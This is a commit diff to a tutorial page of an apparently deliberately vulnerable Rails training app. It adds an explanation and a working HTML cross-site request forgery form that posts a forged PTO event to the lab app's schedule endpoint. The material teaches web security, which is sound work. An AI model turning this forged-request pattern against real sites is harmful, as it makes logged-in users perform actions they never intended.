closes issue #22
This commit is contained in:
@@ -59,17 +59,27 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Cross-Site Request Forgery ATTACK:</b></p>
|
<p><b> Cross-Site Request Forgery ATTACK:</b></p>
|
||||||
<p>
|
<p class="desc">
|
||||||
Save this content to an .html file and open it...
|
The application allows users to update their calendar and schedule PTO events (PTO section). Due to the fact CSRF protections are disabled, the AJAX request will send the authenticity token but the application will <b>not</b> validate either it's presence or validity. Create an html page using the code shown below, authenticate as another user, click on it, review the new calendar (change the dates under date_range1). You should see this HTML code will work, even if you hadn't navigated to the PTO section prior to sending it.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
<font face="Courier New" style="color: rgb(69, 126, 136)">
|
<pre class="ruby">
|
||||||
<%=
|
<%=
|
||||||
%{
|
%{
|
||||||
|
<html>
|
||||||
}
|
<body>
|
||||||
|
<form action="http://railsgoat.dev/schedule.json" method="POST">
|
||||||
|
<input type="hidden" name="schedule[event_name]" value="Bad Guy" />
|
||||||
|
<input type="hidden" name="schedule[event_type]" value="pto" />
|
||||||
|
<input type="hidden" name="schedule[event_desc]" value="Fun Fun" />
|
||||||
|
<input type="hidden" name="date_range1" value="06/08/2013 - 06/09/2013" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
}
|
||||||
%>
|
%>
|
||||||
</font>
|
</pre>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p><b> Cross-Site Request Forgery SOLUTION:</b></p>
|
<p><b> Cross-Site Request Forgery SOLUTION:</b></p>
|
||||||
@@ -109,7 +119,7 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
Under progess....
|
PTO is precious, glad my calendar is safe!
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
Reference in New Issue
Block a user